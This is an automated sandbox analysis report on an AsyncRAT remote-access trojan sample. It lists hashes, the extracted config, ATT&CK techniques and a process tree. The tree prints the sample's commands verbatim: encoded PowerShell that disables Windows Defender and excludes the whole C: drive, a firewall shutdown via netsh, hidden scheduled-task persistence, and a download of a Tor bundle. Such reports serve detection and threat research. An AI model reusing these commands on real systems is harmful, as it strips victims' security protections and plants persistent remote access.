asyncrat | 7e865d77cc98964cb403fad981a9538e4c65b37c74cb998ef5dcc57151ad6c59

Analysis

max time kernel
2s
max time network
151s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
28/10/2026, 00:19

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
7e865d77cc98964cb403fad981a9538e4c65b37c74cb998ef5dcc57151ad6c59.exe
Size 13.0MB
Sample261028-ambzmsgz8y
SHA256 7e865d77cc98964cb403fad981a9538e4c65b37c74cb998ef5dcc57151ad6c59
MD5 af3198e9c8dfe23fc32e5f188cd37065
SHA1 e5e85ba741f28469c8b85a2c9a635005b1a6e37b
SHA512 d0aeb147150b0dae2435d2dfa127b598d7afc45cdd8b25db92226d73e1d9b595d3c580e5a939fa70003d4ec3ba2f6733718148bf4ee66ff745a3903d8a7e391f
SSDEEP 393216:e7whmWJnoyMxtDDAxXtN3ZWn2T4w0h7y4s5o:e7whm+noy2AltN3gnPd
TLSH
T14ED633F7775009B8E02D4236A958403D891F740C07EBEC1B4A672E617FA72ED6E74A6C
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

admin defense_evasion execution asyncrat persistence rat

Malware Config

Extracted

Family

asyncrat

Version

1.0.7

Botnet

Admin

Mutex

DcRatMutex_0101010101010100101001010100101010100101

Attributes

delay
5
install
true
install_file
Defender.exe
install_folder
%AppData%
pastebin_config
https://pastebin.com/raw/JvYZi5A2

aes.plain

Signatures

Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Async RAT payload 3 IoCs

rat

resource	yara_rule
behavioral2/memory/3612-1158-0x0000000000DB0000-0x0000000000DC6000-memory.dmp	family_asyncrat
behavioral2/memory/5200-1159-0x0000000000CA0000-0x0000000000CB6000-memory.dmp	family_asyncrat
behavioral2/memory/688-1180-0x0000000002770000-0x0000000002786000-memory.dmp	family_asyncrat

Command and Scripting Interpreter: PowerShell 1 TTPs 15 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4848	powershell.exe
1264	powershell.exe
1224	powershell.exe
2728	powershell.exe
5344	powershell.exe
2028	powershell.exe
2264	powershell.exe
1164	powershell.exe
5968	powershell.exe
5360	powershell.exe
5372	powershell.exe
2244	powershell.exe
628	powershell.exe
4772	powershell.exe
3612	powershell.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
5980	netsh.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Executes a VBScript file via the Windows Script Host. 1 TTPs 5 IoCs

execution

Visual Basic

T1059.005

pid	Process
264	WScript.exe
4376	WScript.exe
3428	WScript.exe
5020	WScript.exe
2764	WScript.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 2 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4536	cmd.exe
5660	cmd.exe

Executes a command shell one-liner 1 TTPs 13 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3828	cmd.exe
5000	cmd.exe
1148	cmd.exe
1300	cmd.exe
5580	cmd.exe
2796	cmd.exe
1568	cmd.exe
1836	cmd.exe
3628	cmd.exe
5912	cmd.exe
4612	cmd.exe
4592	cmd.exe
5812	cmd.exe

Delays execution with timeout.exe 2 IoCs

defense_evasion

pid	Process
5816	timeout.exe
4564	timeout.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
2476	systeminfo.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5436	schtasks.exe
5820	schtasks.exe
552	schtasks.exe
3304	schtasks.exe
2580	schtasks.exe

Views/modifies file attributes 1 TTPs 2 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
3568	attrib.exe
3980	attrib.exe

C:\Users\Admin\AppData\Local\Temp\7e865d77cc98964cb403fad981a9538e4c65b37c74cb998ef5dcc57151ad6c59.exe
"C:\Users\Admin\AppData\Local\Temp\7e865d77cc98964cb403fad981a9538e4c65b37c74cb998ef5dcc57151ad6c59.exe"
1⤵
PID:2416
- C:\Users\Admin\AppData\Local\Temp\7e865d77cc98964cb403fad981a9538e4c65b37c74cb998ef5dcc57151ad6c59.exe
  "C:\Users\Admin\AppData\Local\Temp\7e865d77cc98964cb403fad981a9538e4c65b37c74cb998ef5dcc57151ad6c59.exe"
  2⤵
  PID:3236
- - C:\Windows\SYSTEM32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:2476
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic os get Caption"
    3⤵
    - Executes a command shell one-liner
    PID:1568
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic os get Caption
      4⤵
      PID:5880
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIAAnACAALgBlAHgAZQAgACwAIAAuAGIAaQBuACwAIAAuAGQAbwBjAG0ALAAgAC4AZABsAGwAIAAsACAALgB0AHgAdAAsACAALgB6AGkAcAAgACwAIAAuAHIAYQByACAAJwAgAA=="
    3⤵
    PID:4624
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIAAnACAALgBlAHgAZQAgACwAIAAuAGIAaQBuACwAIAAuAGQAbwBjAG0ALAAgAC4AZABsAGwAIAAsACAALgB0AHgAdAAsACAALgB6AGkAcAAgACwAIAAuAHIAYQByACAAJwAgAA==
      4⤵
      PID:5332
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionExtension " .exe , .bin, .docm, .dll , .txt, .zip , .rar "
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4848
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQBuAGEAYgBsAGUAQwBvAG4AdAByAG8AbABsAGUAZABGAG8AbABkAGUAcgBBAGMAYwBlAHMAcwAgAEQAaQBzAGEAYgBsAGUAZAA="
    3⤵
    PID:6068
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQBuAGEAYgBsAGUAQwBvAG4AdAByAG8AbABsAGUAZABGAG8AbABkAGUAcgBBAGMAYwBlAHMAcwAgAEQAaQBzAGEAYgBsAGUAZAA=
      4⤵
      PID:1412
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -EnableControlledFolderAccess Disabled
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3612
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUABVAEEAUAByAG8AdABlAGMAdABpAG8AbgAgAGQAaQBzAGEAYgBsAGUA"
    3⤵
    PID:3288
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUABVAEEAUAByAG8AdABlAGMAdABpAG8AbgAgAGQAaQBzAGEAYgBsAGUA
      4⤵
      PID:4128
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -PUAProtection disable
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1224
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgADEA"
    3⤵
    PID:3216
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgADEA
      4⤵
      PID:5568
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableRealtimeMonitoring 1
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2728
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGwAbwBjAGsAQQB0AEYAaQByAHMAdABTAGUAZQBuACAAMQA="
    3⤵
    PID:2084
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGwAbwBjAGsAQQB0AEYAaQByAHMAdABTAGUAZQBuACAAMQA=
      4⤵
      PID:1204
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableBlockAtFirstSeen 1
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5344
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBJAE8AQQBWAFAAcgBvAHQAZQBjAHQAaQBvAG4AIAAxAA=="
    3⤵
    PID:860
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBJAE8AQQBWAFAAcgBvAHQAZQBjAHQAaQBvAG4AIAAxAA==
      4⤵
      PID:5636
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableIOAVProtection 1
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2028
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBQAHIAaQB2AGEAYwB5AE0AbwBkAGUAIAAxAA=="
    3⤵
    PID:3744
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBQAHIAaQB2AGEAYwB5AE0AbwBkAGUAIAAxAA==
      4⤵
      PID:5028
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisablePrivacyMode 1
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5360
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBJAG4AdAByAHUAcwBpAG8AbgBQAHIAZQB2AGUAbgB0AGkAbwBuAFMAeQBzAHQAZQBtACAAMQA="
    3⤵
    PID:4832
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBJAG4AdAByAHUAcwBpAG8AbgBQAHIAZQB2AGUAbgB0AGkAbwBuAFMAeQBzAHQAZQBtACAAMQA=
      4⤵
      PID:2528
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem 1
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5372
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBTAGMAcgBpAHAAdABTAGMAYQBuAG4AaQBuAGcAIAAxAA=="
    3⤵
    PID:2744
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBTAGMAcgBpAHAAdABTAGMAYQBuAG4AaQBuAGcAIAAxAA==
      4⤵
      PID:4484
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableScriptScanning 1
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2264
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ATQBBAFAAUwBSAGUAcABvAHIAdABpAG4AZwAgADAA"
    3⤵
    PID:3932
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ATQBBAFAAUwBSAGUAcABvAHIAdABpAG4AZwAgADAA
      4⤵
      PID:260
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -MAPSReporting 0
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1164
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwBlAHYAZQByAGUAVABoAHIAZQBhAHQARABlAGYAYQB1AGwAdABBAGMAdABpAG8AbgAgADYA"
    3⤵
    PID:1144
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwBlAHYAZQByAGUAVABoAHIAZQBhAHQARABlAGYAYQB1AGwAdABBAGMAdABpAG8AbgAgADYA
      4⤵
      PID:4244
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SevereThreatDefaultAction 6
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2244
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgADAA"
    3⤵
    PID:5548
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgADAA
      4⤵
      PID:4720
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableRealtimeMonitoring 0
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5968
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAbgBlAHQAcwBoACAAYQBkAHYAZgBpAHIAZQB3AGEAbABsACAAcwBlAHQAIABhAGwAbABwAHIAbwBmAGkAbABlAHMAIABzAHQAYQB0AGUAIABvAGYAZgA="
    3⤵
    PID:2116
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAbgBlAHQAcwBoACAAYQBkAHYAZgBpAHIAZQB3AGEAbABsACAAcwBlAHQAIABhAGwAbABwAHIAbwBmAGkAbABlAHMAIABzAHQAYQB0AGUAIABvAGYAZgA=
      4⤵
      PID:4764
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" netsh advfirewall set allprofiles state off
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:628
      - C:\Windows\system32\netsh.exe
        
        "C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off
        6⤵
        Modifies Windows Firewall
        
        PID:5980
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgADEA"
    3⤵
    PID:3352
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgADEA
      4⤵
      PID:4188
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableRealtimeMonitoring 1
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4772
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAnAEMAOgBcACcA"
    3⤵
    PID:5248
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAnAEMAOgBcACcA
      4⤵
      PID:2844
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath C:\
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1264
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c " schtasks /create /tn "4b378134-9ae6-49da-881f-4ad42218cae8" /tr c:\Windows\splwow.exe /sc ONIDLE /i 1 "
    3⤵
    - Executes a command shell one-liner
    PID:1836
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "4b378134-9ae6-49da-881f-4ad42218cae8" /tr c:\Windows\splwow.exe /sc ONIDLE /i 1
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5436
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +H splwow.exe"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:4536
  - - C:\Windows\system32\attrib.exe
      attrib +H splwow.exe
      4⤵
      Views/modifies file attributes
      PID:3568
- - C:\Windows\splwow.exe
    "C:\Windows\splwow.exe"
    3⤵
    PID:3612
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Defender" /tr '"C:\Users\Admin\AppData\Roaming\Defender.exe"' & exit
      4⤵
      Executes a command shell one-liner
      PID:5000
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "Defender" /tr '"C:\Users\Admin\AppData\Roaming\Defender.exe"'
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3304
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpB3B6.tmp.bat""
      4⤵
      Executes a command shell one-liner
      PID:5912
    - - C:\Windows\system32\timeout.exe
        
        timeout 3
        5⤵
        Delays execution with timeout.exe
        
        PID:5816
    - - C:\Users\Admin\AppData\Roaming\Defender.exe
        
        "C:\Users\Admin\AppData\Roaming\Defender.exe"
        5⤵
        
        PID:2788
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c " schtasks /create /tn "652cb291-2a5e-4d19-a7f2-ea9244ab12ce" /tr c:\Windows\start.exe /sc ONIDLE /i 1 "
    3⤵
    - Executes a command shell one-liner
    PID:3628
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "652cb291-2a5e-4d19-a7f2-ea9244ab12ce" /tr c:\Windows\start.exe /sc ONIDLE /i 1
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5820
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +H start.exe"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:5660
  - - C:\Windows\system32\attrib.exe
      attrib +H start.exe
      4⤵
      Views/modifies file attributes
      PID:3980
- - C:\Windows\start.exe
    "C:\Windows\start.exe"
    3⤵
    PID:5956
  - - C:\Users\Admin\AppData\Local\Temp\CL_Debug_Log.txt
      C:\Users\Admin\AppData\Local\Temp\CL_Debug_Log.txt e -p"JDQJndnqwdnqw2139dn21n3b312idDQDB" "C:\Users\Admin\AppData\Local\Temp\CR_Debug_Log.txt" -o"C:\Users\Admin\AppData\Local\Temp\"
      4⤵
      PID:3340
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks.exe /Create /XML "C:\Users\Admin\AppData\Local\Temp\SystemCheck.xml" /TN "System\SystemCheck"
      4⤵
      Executes a command shell one-liner
      PID:4612
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks.exe /Create /XML "C:\Users\Admin\AppData\Local\Temp\SystemCheck.xml" /TN "System\SystemCheck"
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:552
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "slmgr /ipk W269N-WFGWX-YVC9B-4J6C9-T83GX"
    3⤵
    - Executes a command shell one-liner
    PID:1300
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Windows\system32\slmgr.vbs" /ipk W269N-WFGWX-YVC9B-4J6C9-T83GX
      4⤵
      Executes a VBScript file via the Windows Script Host.
      PID:264
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "slmgr /skms s8.uk.to"
    3⤵
    - Executes a command shell one-liner
    PID:1148
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Windows\system32\slmgr.vbs" /skms s8.uk.to
      4⤵
      Executes a VBScript file via the Windows Script Host.
      PID:4376
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "slmgr /ato"
    3⤵
    - Executes a command shell one-liner
    PID:5580
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Windows\system32\slmgr.vbs" /ato
      4⤵
      Executes a VBScript file via the Windows Script Host.
      PID:3428
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "slmgr /ato"
    3⤵
    - Executes a command shell one-liner
    PID:5812
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Windows\system32\slmgr.vbs" /ato
      4⤵
      Executes a VBScript file via the Windows Script Host.
      PID:5020
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "slmgr /ato"
    3⤵
    - Executes a command shell one-liner
    PID:2796
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Windows\system32\slmgr.vbs" /ato
      4⤵
      Executes a VBScript file via the Windows Script Host.
      PID:2764

\??\c:\Windows\splwow.exe
c:\Windows\splwow.exe
1⤵
PID:5200
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Defender" /tr '"C:\Users\Admin\AppData\Roaming\Defender.exe"' & exit
  2⤵
  - Executes a command shell one-liner
  PID:3828
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc onlogon /rl highest /tn "Defender" /tr '"C:\Users\Admin\AppData\Roaming\Defender.exe"'
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2580
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpBAAB.tmp.bat""
  2⤵
  - Executes a command shell one-liner
  PID:4592
- - C:\Windows\system32\timeout.exe
    timeout 3
    3⤵
    - Delays execution with timeout.exe
    PID:4564
- - C:\Users\Admin\AppData\Roaming\Defender.exe
    "C:\Users\Admin\AppData\Roaming\Defender.exe"
    3⤵
    PID:2436

\??\c:\Windows\start.exe
c:\Windows\start.exe
1⤵
PID:4528

C:\Users\Admin\AppData\Roaming\Defender.exe
"C:\Users\Admin\AppData\Roaming\Defender.exe"
1⤵
PID:688

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck
1⤵
PID:5424
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck16549
  2⤵
  PID:4304
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    7z e -p"DxSqsNKKOxqPrM4Y3xeK" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor.tmp" -o"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\"
    3⤵
    PID:5596
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    7z e -p"DxSqsNKKOxqPrM4Y3xeK" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor.tmp" -o"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\"
